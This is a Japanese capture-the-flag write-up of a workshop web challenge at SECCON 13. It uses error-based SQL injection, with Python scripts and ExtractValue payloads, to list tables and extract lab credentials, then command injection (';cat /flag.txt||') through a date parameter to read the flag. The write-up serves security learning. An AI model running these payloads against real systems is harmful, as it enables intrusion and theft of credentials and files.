概要
SECCON 13 電脳会議でRWPL様のワークショップに参加させていただきました。今回はそこで出題された問題のwriteupとなります(2025/03/03時点ではwebのみ)。
RWPL official page:
Problem:
tommorow(web)
SQLi
ルートディレクトリに消し忘れたコメントがありました。
<body>
<div class="container">
<h1>Hello :)</h1>
<p class="message"><a href="/login">ログイン</a></p>
<!-- robots.txt -->
</div>
</body>
/robots.txt
から、さらに/credits
ディレクトリを見つけました。
User-agent: *
Disallow: /credits
/credits
へ進むと、最後のほうでヒントが確認できます。
{
"team": "RWPL",
"members": [
{
"name": "l3ickey",
"role": [
"root"
],
"sns": "https://x.com/l3ickey"
},
{
"name": "gua",
"role": [
"root"
],
"sns": "\u003Cscript\u003Ealert()\u003C/script\u003E"
},
{
"name": "c10ne",
"role": [
"staff"
],
"sns": "502 Bad Gateway"
},
{
"name": "fuku_uma",
"role": [
"staff"
],
"sns": "https://x.com/fuku_umaiux"
},
{
"name": "k1rnt",
"role": [
"staff",
"Lab構築"
],
"sns": "https://x.com/k1rnt"
},
{
"name": "J0hn",
"role": [
"Lab構築"
],
"sns": "https://x.com/J0hnSm1thyk"
},
{
"name": "ぐり",
"role": [
"Lab構築"
],
"sns": "https://x.com/GlionSecurity"
},
{
"name": "y0d3n",
"role": [
"レビュー",
"応援"
],
"sns": "https://x.com/y0d3n"
}
],
"hint-1": "SQL Error: Error: XPATH syntax error"
}
このヒントから、Error based SQL injectionを行うと推測できます。
以下のサイトを参考にして進めていきましょう。
まずはテーブルを列挙してみます。
import requests
url = 'http://localhost:3000/login'
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
for i in range(100):
payload = "email='+AND+ExtractValue('',Concat('=',(SELECT+table_name+FROM+information_schema.tables+LIMIT+%d,1)))-- " % i
response = requests.post(url, data=payload, headers=headers)
print(response.text)
$ python3 solver_1.py
SQL Error: Error: XPATH syntax error: '=ADMINISTRABLE_ROLE_AUTHORIZATIO'
SQL Error: Error: XPATH syntax error: '=APPLICABLE_ROLES'
SQL Error: Error: XPATH syntax error: '=CHARACTER_SETS'
SQL Error: Error: XPATH syntax error: '=CHECK_CONSTRAINTS'
SQL Error: Error: XPATH syntax error: '=COLLATIONS'
...
SQL Error: Error: XPATH syntax error: '=variables_metadata'
SQL Error: Error: XPATH syntax error: '=users'
メールアドレスか、パスワードが違います
...
users
テーブルを発見しました。
/login
からemail
とpassword
カラムが存在することはわかっているので、このままフィールドを取っていきます。
import requests
url = 'http://localhost:3000/login'
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
columns = ['email', 'password']
for i in columns:
payload = "email='+AND+ExtractValue('',Concat('=',(SELECT+%s+FROM+users+LIMIT+0,1)))--+-" % i
response = requests.post(url, data=payload, headers=headers)
print(response.text)
$ python3 solver_2.py
SQL Error: Error: XPATH syntax error: '=rwpl@tommorow.example.com'
SQL Error: Error: XPATH syntax error: '=sUp3r_Str0ng_RWPL_P@ssw0rd'
認証情報を入手できたので、ログインします。
(email
: rwpl@tommorow.example.com
password
: sUp3r_Str0ng_RWPL_P@ssw0rd
)
OSCi
明日の日付(/tommorow?day=1
)に進むと、次の内容が表示されます。
1日後は2025-03-04
ですね ;)
day
パラメータをほかの数字に変えると、日付に反映されるようです。
このday
パラメータに文字列を入力すると、エラーを発生させることができました。
aa日後はCommand failed: date '+%Y-%m-%d' -d 'aa day'
date: invalid date ‘aa day’
ですね ;)
ここから、date '+%Y-%m-%d' -d '{input} day'
が実行されていることがわかります。
シングルクォーテーションで閉じる形をとれば、OSコマンドインジェクションができそうです。
例として、/tommorow?day=';whoami||'
(/tommorow?day=%27;whoami||%27
)にアクセスします。
';whoami||'日後は2025-03-03
rwpl
ですね ;)
しっかり動作しています。
あとは、whoami
の部分にflag.txt
を読ませるコマンドを入れて完成です。
';ls /||'日後は2025-03-03
app
bin
dev
etc
flag.txt
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
ですね ;)
';cat /flag.txt||'日後は2025-03-03
***************************ですね ;)
xorpwnxor(pwn)
coming soon...
(全然わからなかったのでtak💀yassan様のwriteup見て解こうと思います)
最後に
今回はSECCON 13 電脳会議 / RWPL Workshopに参加させていただきました。2025年度はCTFの技術磨きということで様々なCTFに参戦しつつ自分の得意分野をよりはっきりさせていきたいと思います(もちろん人脈作りも...)。
併せて、
来週からpicoCTFなので、中学生で参加できる方は誘ってもらえると幸いです!((